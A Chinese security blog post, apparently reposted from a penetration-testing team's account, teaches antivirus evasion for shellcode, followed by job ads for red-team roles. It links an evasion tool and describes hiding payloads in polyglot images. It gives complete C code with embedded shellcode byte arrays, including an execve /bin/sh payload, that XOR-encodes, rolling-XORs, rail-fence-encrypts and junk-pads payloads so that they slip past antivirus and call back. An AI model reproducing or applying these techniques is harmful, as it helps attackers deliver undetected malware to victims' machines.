声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
针对本篇及后续文章中用到的部分技术,我已经写好了相关代码,用于快速生成免杀的可执行程序,源代码放在了(github)[https://github.com/1y0n/AV_Evasion_Tool]上,也可以直接下载编译好的(程序)[https://github.com/1y0n/AV_Evasion_Tool/releases]
工具界面如下:
效果如下:
目前,针对 shellcode 的免杀,在不讨论自己编写 shellcode,而是使用现成的 shellcode(msfvenom、cobaltstrike等)的情况下,主要有两种方式:
1、分离免杀
分离免杀主要是将 shellcode 和 loader 彻底分开,比如可以将 shellcode 藏在其他文件中、放在网络上等等。
2、加密混淆
加密混淆指将 shellcode 进行一定变形处理后,同 loader 放在一起,打包为一个完整独立的可执行文件。
下面我们分开讨论这两种方式。
分离免杀是将 shellcode 和 loader 分成两个不同的文件,或者 loader 是文件,shellcode 是流。我们常说的白名单执行可以视作分离免杀的一种特殊形式。
相对于加密混淆,分离只需考虑执行方式免杀的问题,所以这小节更多的是介绍这种思路及一个工具,更多的内容可以参考本系列中执行方式免杀那部分,根据分离后 shellcode 的形式不同,loader 可能需要进行较大幅度的改动以正确解析。
分离免杀的缺点是运用起来比较繁琐,不像加密混淆那样最后生成的是一个完整的可执行文件。
至于分离后 shellcode 的形式,可以是 msfvenom 直接生成的 .c 、.raw 等格式,也可以是 .txt 或图片格式,更可以是 .dll 等格式。根据不同的形式,loader 需要做出改变以正确解析这些形式,如果是 .dll、.js、.vbs、.sct、.hta等格式,可以考虑DLL注入或白名单执行,DLL注入将在后面的章节详细介绍,白名单执行这块亮神已经写过很多的分享,虽然目前都被查杀,但是测试发现进行简单的混淆后仍可绕过部分杀软,这里就不赘述。
.c .raw .txt 等明文格式不多说,网上有专门的分享,google 即可。这里主要介绍一个有趣的开源项目,DKMC(Dont't Kill My Cat)。
项目地址为:
https://github.com/Mr-Un1k0d3r/DKMC
Don't kill my cat is a tool that generates obfuscated shellcode that is stored inside of polyglot images. The image is 100% valid and also 100% valid shellcode.
这个开源项目真的是完美诠释了什么是分离免杀,它将 shellcode 放在一张图片里,图片看上去完全正常,但也可以正常执行 shellcode 。详细原理在作者的 github 也有介绍。
打开工具,按提示生成带有 shellcode 的图片:
杀软不会主动去查杀图片文件,即使查杀,这个图片也能绕过绝大多数的杀毒软件。
使用 loader 执行,可以正常上线:
针对加密混淆,目前常见的方式有:
1、XOR
异或是最常见的混淆方式,因为它实现起来非常简单,一次异或加密,两次异或即可恢复原文,并且整个过程不容易产生坏字符(影响程序正常执行的字符,如 \x00 等),但是对于很多杀毒软件来说,简单的异或并不能绕过它们的检测,所以我们需要想一些附加处理,能够在简单异或之外再做点什么,在后面我们将编码实现一种变异异或的方式。另外需要注意的是,在测试过程中,我发现部分杀软对异或是有特殊监控规则的,当出现循环异或时,程序的信息熵和会增加,就会被杀软认为可疑。
2、古典密码
经常打CTF的赛棍们肯定对古典密码相当熟悉,古典密码常见的有凯撒、栅栏、维吉尼亚等等,对于古典密码加密 shellcode,网上已经有很多现成的代码,后面我们会对网上找到的代码进行测试。
3、现代密码
现代密码(包括AES、RSA等等)在加密 shellcode 方面是最有效的,但随之而来的是它的复杂性,因为如果要使用这些加密,必须要加载第三方库,带来的就是编写难度和程序体积的上升,鉴于其他加密方式已经能达到很好的效果,所以我们一般不采用现代密码加密,在本章节中也不再讨论这种方式。这里是一个 AES 加密 shellcode 的实例代码,用了openssl:
https://gist.github.com/ahpaleus/d0c1b4395394b7e5712d31458fbaad1f
4、其他混淆方式
其他混淆方式就需要发挥想象力了,各种处理方式轮换着来呗。后面我们将会编码实现填充垃圾数据这种混淆方式。
采用加密混淆的方式,我们最终生成的是一个整体,所以,包括 shellcode 加密混淆、执行方式、过沙盒方式应该有机统一。比如我们在过沙盒时,使用大循环进行延时绕过,我们就可以用这个大循环最终生成一个值,然后将这个值作为加解密的key使用。如果这个循环被跳过,那么最终 shellcode 是无法正确解密的。
简单异或
简单异或的加解密方式十分简单,所以这里不做过多文字描述,直接看一下 C/C++ 实现异或的代码:
# include
# include
# include
int main(){
unsigned char code[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";
printf("原始shellcode:\r\n");
for (int i = 0; i < sizeof(code); i++){
printf("\\x%0.2x", code[i]);
}
for (int i = 0; i < sizeof(code); i++){
code[i] ^= 123;
}
printf("\r\n\r\n异或后的shellcode:\r\n");
for (int i = 0; i < sizeof(code); i++){
printf("\\x%0.2x", code[i]);
}
printf("\r\n\r\n第二次异或后的shellcode:\r\n");
for (int i = 0; i < sizeof(code); i++){
code[i] ^= 123;
}
for (int i = 0; i < sizeof(code); i++){
printf("\\x%0.2x", code[i]);
}
}
运行结果:
变异异或
所谓变异异或,是指在异或基础上,再加上一些其他的处理,比如填充垃圾数据等等。这里实现一种方式,根据某种规律生成异或key,每位异或时均用不同的key。这样既可以保留异或的优点——不容易产生坏字符、加解密长度不变,更可以有效避免部分杀软对简单异或的查杀。
# include
include
# include
int main(){
unsigned char code[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";
int j = 234; // 设置一个初始数值
int mid = 12; //设置每次增加的数值
//上面两个数注意加解密都是一样
printf("原始shellcode:\r\n");
for (int i = 0; i < sizeof(code); i++){
printf("\\x%0.2x", code[i]);
}
for (int i = 0; i < sizeof(code); i++){
code[i] = code[i] ^ 123 ^ j;
j += mid;
}
printf("\r\n\r\n异或后的shellcode:\r\n");
for (int i = 0; i < sizeof(code); i++){
printf("\\x%0.2x", code[i]);
}
printf("\r\n\r\n第二次异或后的shellcode:\r\n");
j = 234; //记得重置j
for (int i = 0; i < sizeof(code); i++){
code[i] = code[i] ^ 123 ^ j;
j += mid;
}
for (int i = 0; i < sizeof(code); i++){
printf("\\x%0.2x", code[i]);
}
}
上面的代码定义了一个初始值,这个值在每一次循环时都会增大,然后异或是先和一个固定的值进行XOR,再和这个变化的值进行XOR。运行效果如下:
从网上找了一个使用栅栏密码加密 shellcode 的例子,稍作修改即可正常使用。
代码来自:
http://www.arti-sec.com/article/encrypt-shellcode-decrypt-and-run-it-slae
加密部分(无修改):
# include
# include
# include
int main() {
int l, j, k, p, t; // length of string, counters and a toggle
int i[2]; // need two incrementers for algorithm
unsigned char inp[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int key = 5;
unsigned char* buf;
l = strlen(inp);printf("\n\nShellcode length: %d", l);
printf("\n Key: %d", key);
if (key > l) {
printf("Key needs to be shorter than length of shellcode\n");
exit(0);
}
// make a buffer to store cipher
buf = malloc(l);if (buf == 0) {
printf("\nmemory exhausted\n");
exit(0);
}
p = 0; // position in buf
// do the transposition cipher
for (j = 0; j < key; j++) {
i[0] = (j == key - 1 ? j : key - j - 1) * 2;
i[1] = j == 0 ? i[0] : j * 2;
t = 1;
k = j;
buf[p] = inp[j];do {
t = !t;
k += i[t];
p++;if (k < l)
buf[p] = inp[k];
}while (k < l);
}
// Now print the results
printf("\n\n\"");
for (p = 0; p < l; p++)
printf("\\x%02x", buf[p]);
printf("\";\n\n");
for (p = 0; p < l; p++)
printf("0x%02x,", buf[p]);
printf("\n\n");
// and clean up
free(buf);
exit(0);
}
解密部分(将执行代码换成了打印):
# include
# include
# include
int main() {
int l, j, k, p, t; // length of string, counters and a toggle
int i[2]; // need two incrementers for algorithm
unsigned char inp[] = "\x31\x68\x89\x80\xc0\x68\x2f\x50\xe2\xcd\x50\x73\x62\xe3\x53\x0b\x68\x2f\x69\x89\x89\xb0\x2f\x6e\xe1";
int key = 5;
unsigned char* buf;
l = strlen(inp);
printf("\n\nShellcode length: %d", l);
printf("\n Key: %d", key);
if (key > l) {
printf("Key needs to be shorter than length of shellcode\n");
exit(0);
}
// make a buffer to store cipher
buf = malloc(l);
if (buf == 0) {
printf("\nmemory exhausted\n");
exit(0);
}
p = 0; // position in buf
// do the transposition cipher
for (j = 0; j < key; j++) {
i[0] = (j == key - 1 ? j : key - j - 1) * 2;
i[1] = j == 0 ? i[0] : j * 2;
t = 1;
k = j;
buf[j] = inp[p];
do {
t = !t;
k += i[t];
p++;
if (k < l)
buf[k] = inp[p];
} while (k < l);
}
// Need to copy the buffer over the original string
// so we can clean up, even when no return from shellcode
printf("\";\n\n");
for (p = 0; p < l; p++)
inp[p] = buf[p];
for (p = 0; p < l; p++)
printf("\\x%02x", buf[p]);
printf("\";\n\n");
for (p = 0; p < l; p++)
printf("0x%02x,", buf[p]);
printf("\n\n");
free(buf);
}
其他混淆方式可以任意组合上面几种加密混淆,也可以想想其他的方式,比如填充垃圾数据、逆置等,这里给出填充垃圾数据的代码:
# include
# include
# include
# include
//隔1插3
void main(){
unsigned char slcd[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";
unsigned char buf[4*sizeof(slcd)];
int j = 0;
for (int i = 0; i < 4*sizeof(slcd); i++){
if (i % 4 == 0){
buf[i] = slcd[j];
j++;
}
else{
//插入随机十六进制数
buf[i] = rand() & 15;
}
}
printf("原始shellcode:\r\n");
for (int i = 0; i < sizeof(slcd); i++){
printf("\\x%0.2x", slcd[i]);
}
printf("\r\n填充垃圾数据后:\r\n");
for (int i = 0; i < sizeof(buf); i++){
printf("\\x%0.2x", buf[i]);
}
printf("\r\n去掉垃圾数据后\r\n");
unsigned char buf2[sizeof(buf)/4];
//重置j
j = 0;
for (int i = 0; i < sizeof(buf); i++){
if (i % 4 == 0){
buf2[j] = buf[i];
j++;
}
}
for (int i = 0; i < sizeof(buf2); i++){
printf("\\x%0.2x", buf2[i]);
}
}
运行效果:
可以看到,加密后 shellcode 的长度……很长,这就是这种混淆方式的缺点,优点是可以躲过部分变态杀软对循环异或的监控。
shellcode 的免杀到此结束,后面我们将开始介绍执行方式免杀。
招聘启事
安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1. 负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2. 负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3. 参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4. 积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5. 积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。
【任职要求】
1. 责任心强,性格活泼,具备良好的人际交往能力;
2. 对网络安全感兴趣,对行业有基本了解;
3. 良好的文案写作能力和活动组织协调能力。
简历投递至 strategy@dbappsecurity.com.cn
设计师(实习生)
————————
【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。
【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;
【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽
简历投递至 strategy@dbappsecurity.com.cn
安全招聘
————————
公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…
【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案
【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)
【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;
岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至 strategy@dbappsecurity.com.cn
岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至 strategy@dbappsecurity.com.cn
专注渗透测试技术
全球最新网络攻击技术
END
本文分享自微信公众号 - 雷神众测(thorsrc)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
来源:oschina
链接:https://my.oschina.net/u/4587690/blog/4408044